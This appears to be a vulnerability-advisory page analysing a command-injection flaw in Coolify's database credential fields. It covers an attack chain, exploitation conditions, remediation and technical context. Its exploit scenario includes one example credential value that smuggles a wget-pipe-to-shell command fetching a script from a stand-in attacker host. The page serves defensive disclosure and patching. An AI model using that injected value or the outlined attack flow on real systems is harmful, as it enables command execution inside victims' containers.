Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Coolify admin credentials via phishing or compromise
-
DeliveryAuthenticate to Coolify API or web UI
-
ExploitSet malicious shell payload in database credential field (e.g., redis_password)
-
ExecutionTrigger container restart or new deployment
-
PersistDocker Compose processes YAML command: string with unsanitized credential value
-
ImpactInjected OS commands execute within container context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an active, authenticated Coolify administrator session (confirmed by CVSS PR:H). An unauthenticated or non-admin user cannot reach the database credential configuration API endpoints. Beyond authentication, the attack requires CVSS AC:H-level complexity: the injected payload must be structured to survive YAML multi-line parsing without breaking document syntax, and shell metacharacters must not be inadvertently escaped by intermediate processing layers. Specifically, the vulnerable path is triggered when a database service managed by Coolify (Redis, KeyDB, Dragonfly, ClickHouse, PostgreSQL, or MySQL) has a credential field set to a malicious value and that service's Docker container is created or restarted, causing Coolify to render the YAML and pass the command: string to the Docker daemon for execution. What limits exploitation: the PR:H requirement means that a separate admin credential compromise must precede this attack; the AC:H complexity means generic payloads may fail without tuning; and the scope remains container-bounded (S:U) unless further container-escape techniques are chained. |
| Impact | The NVD-assigned CVSS 3.1 score of 3.3 (Low) with vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N accurately captures the dominant risk-reduction factor: exploitation requires a fully-authenticated Coolify administrator account (PR:H). This is not an unauthenticated or low-privilege attack - the adversary must first own admin credentials, which radically narrows the threat population to insider threat actors or those who have already compromised an admin session. The AC:H rating further acknowledges that a payload must survive both YAML parsing rules and shell interpretation without mangling. No CISA KEV listing exists, no public POC has been identified, and EPSS probability data was not included in the provided intelligence. Despite CWE-78 commonly being associated with critical-severity findings, the compound prerequisites here - admin auth plus careful payload crafting - keep operational risk low for most deployments. The real-world threat model is a scenario where Coolify admin credentials are separately compromised, and an attacker then leverages this flaw for container-scoped command execution and lateral movement. Organizations should treat this as routine patch-cycle work rather than emergency response. |
| Exploit ScenarioDerived | An attacker who has obtained Coolify administrator credentials - through phishing, credential stuffing against a weak password, or an insider threat - navigates to a database resource configuration page and sets a credential field such as redis_password to a value like validpass; wget -qO- http://attacker.example/shell.sh | sh. When Coolify interpolates this value into a Docker Compose YAML command: string and the container is subsequently started or restarted, the injected command executes within the container's runtime context. No public POC exists at time of analysis, but the vulnerability class - unsanitized string interpolation into a shell-interpreted YAML field - requires no advanced tradecraft once admin access is secured. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 07, 2026
OS command injection in Coolify's database service configuration API allows authenticated administrators to execute arbitrary shell commands within Docker container contexts by embedding shell metacharacters into database credential fields. All Coolify versions prior to 4.0.0-beta.474 are affected, covering deployments managing Redis, KeyDB, Dragonfly, ClickHouse, PostgreSQL, and MySQL services. No public exploit code has been identified at time of analysis, and the CVSS PR:H requirement confines the attack surface to already-privileged admin accounts, positioning this as a post-compromise escalation risk rather than an initial access vector.
RemediationAI
Upgrade to Coolify version 4.0.0-beta.474 or later, which resolves the injection vulnerability per the vendor security advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-f35h-g2c2-q36v and the corresponding code fix in commit bff6d853708f3d7c861279586f107739036e67da (https://github.com/coollabsio/coolify/pull/9676). As a compensating control prior to patching, audit all existing database credential field values in your Coolify instance for embedded shell metacharacters (semicolons, backticks, dollar-sign subshells, pipe characters) and sanitize any anomalous values. Additionally, restrict Coolify API and UI access to the minimum necessary administrator accounts using network-level ACLs or authentication gating - this reduces the attacker pool but does not eliminate the vulnerability itself. Enabling Docker daemon logging and monitoring container startup commands for unexpected shell executions can serve as a detection layer. Note that neither network restriction nor credential auditing constitutes a full fix; patching to beta.474 is the only remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify is an open-source self-hosting management platform (CPE: cpe:2.3:a:coollabsio:coolify) that provisions and orchestrates Docker-based applications and databases. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Credential fields - redis_password, keydb_password, dragonfly_password, clickhouse_admin_user, clickhouse_admin_password, postgres_user, and mysql_user - are validated only as generic string types at the API layer without any shell-safety filtering. These raw values are then interpolated verbatim into Docker Compose YAML command: strings, which the Docker daemon executes when containers are created or restarted. Because the YAML command: key passes its value through a shell, embedded metacharacters such as semicolons, backticks, or $() subshells are interpreted as OS-level commands in the container execution context. The fix introduced in commit bff6d853708f3d7c861279586f107739036e67da adds shell-safe escaping or validation to these fields before YAML interpolation.
Know when Coolify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Admin credentials required (PR:H) and YAML-plus-shell payload crafting complexity (AC:H) dominate; container-scoped limited reads and writes justify C:L/I:L with no availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, database credential fields (redis_password, keydb_password, dragonfly_password, clickhouse_admin_user, clickhouse_admin_password, postgres_user, mysql_user) are validated only as 'string' at the API layer, with zero shell-safety checks. These values are then interpolated directly into Docker Compose YAML command: strings without any escaping. This issue is fixed in version 4.0.0-beta.474.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Coolify Server Management Platform Multiple Flaws
View all 16Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,
Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo
Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d
Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute
Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi
Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg
Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica
EUVD-2026-41999
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB